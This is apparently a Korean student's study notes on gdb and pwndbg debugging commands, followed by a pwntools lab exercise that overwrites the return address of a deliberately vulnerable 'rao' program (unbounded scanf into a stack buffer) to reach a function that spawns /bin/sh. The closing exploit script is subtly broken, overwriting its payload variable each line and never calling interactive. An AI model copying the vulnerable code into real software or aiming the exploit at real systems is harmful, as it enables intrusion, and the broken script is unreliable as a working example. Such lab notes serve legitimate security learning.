gdb

디버거 : 버그를 없애기 위해 사용하는 도구

▶ gdb & pwndbg

#include <stdio.h>
int main(void) {
  int sum = 0;
  int val1 = 1;
  int val2 = 2;
  sum = val1 + val2;
  printf("1 + 2 = %d\\n", sum);
  return 0;
}

- start

: 진입점부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어

 

리눅스 실행파일 형식 : ELF(Executable and Linkable Format)

ELF : 헤더(실행에 필요한 여러 정보) + 여러 섹션(컴파일된 기계어 코드, 프로그램 문자열 등 데이터)

헤더 중 진입점이라는 필드가 있는데 운영체제가 ELF를 실행할 때, 진입점의 값부터 실행한다.

readelf로 확인해본 결과 debugee의 진입점은 0x401050이다.

 

- context

pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)이라고 부르며, 이를 가독성 있게 표현할 수 있는 인터페이스를 갖추고 있다.

  1. registers: 레지스터의 상태를 보여준다.
  2. disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여준다.
  3. stack: rsp부터 여러 줄에 걸쳐 스택의 값들을 보여준다.
  4. backtrace: 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여준다.

이들은 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 돕는다.

 

- break & continue

break : 특정 주소에 중단점을 설정하는 기능

continue : 중단된 프로그램을 계속 실행시키는 기능

 

- run

: 단순히 실행만 시킨다. 중단점을 설정해놓지 않았다면 프로그램이 끝까지 멈추지 않고 실행된다. 

위에서 main에 breakpoint를 설정해놨기 때문에 main에서 실행이 멈춘다.

 

이 외 gdb 명령어

si: step into
ni: next instruction
i: info
k: kill
pd: pdisas

 

- disassembly

disassemble : gdb가 기본적으로 제공하는 디스어셈블 명령어

함수 이름을 인자로 전달하면 해당 함수가 반환될 때 까지 전부 디스어셈블하여 보여준다.

디스어셈블 명령어 : u, nearpc, pdisassemble - 디스어셈블된 코드를 가독성 좋게 출력해줌

 

- navigate

관찰하고자 하는 함수의 중단점에 도달했으면 명령어를 한 줄씩 분석해야 하는데 이 때 ni, si 명령어를 사용한다.

  ni(next instruction) si(step into)
공통점 어셈블리 명령어를 한 줄 실행
차이점(call 등을 통해 서브루틴 호출) 서브루틴의 내부로 들어가지 않음 서브루틴 내부로 들어감
사용 함수 내부까지 궁금 X 함수 내부까지 궁금 O

si를 사용하면 printf 함수 내부까지도 rip가 이동한다. 

 

si로 함수 내부에 들어가 필요한 부분을 모두 분석했는데 함수 규모가 커서 원래 실행 흐름으로 돌아가기 어렵다면 finish 명령어를 이용해 함수의 끝까지 한번에 실행할 수 있다.

 

- examine

프로그램을 분석하다 보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야할 때가 있다. x를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼수 있습니다.

rsp부터 80바이트를 8바이트씩 hex형식으로 출력
rip부터 10줄의 어셈블리 명령어 출력
특정 주소의 문자열 출력

 

- telescope

: pwndbg가 제공하는 강력한 메모리 덤프 기능

특정 주소의 메모리 값과 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여준다.

 

- vmmap

: 가상 메모리의 레이아웃

어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여준다.

 

- gdb / python

gdb를 통해 디버깅할 때 직접 입력할 수 없을 때가 있다. 예를 들어, 숫자와 알파벳이 아닌 값을 입력하는 상황이다. 이러한 값은 이용자가 직접 입력할 수 없는 값이기 때문에 파이썬으로 입력값을 생성하고, 이를 사용해야 한다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
	char name[20];
	if( argc < 2 ) {
		printf("Give me the argv[2]!\n");
		exit(0);
	}
	memset(name, 0, sizeof(name));
	printf("argv[1] %s\n", argv[1]);
	read(0, name, sizeof(name)-1);
	printf("Name: %s\n", name);
	return 0;
}

 

- python argv

run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.

 

- python input

$()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다. 입력값으로 전달하기 위해서 '<<<'문자를 사용한다.

위 코드는 argv[1]에 임의의 값을 전달하고 값을 입력하는 명령어다.


pwntools

이론은 밑에 링크에 작성해두었으므로 넘어감

https://sbcho0325.tistory.com/45

 

pwntools 실습

▶rao 익스플로잇

- rao 예제 코드

#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

- pwntools로 rao 익스플로잇

from pwn import *

p = process('./rao')
get_shell = 0x4005a7

payload = b"A"*0x30
payload = b"B"*0x8
payload = p64(get_shell)

p.sendline(payload)
p.interactive

+ Recent posts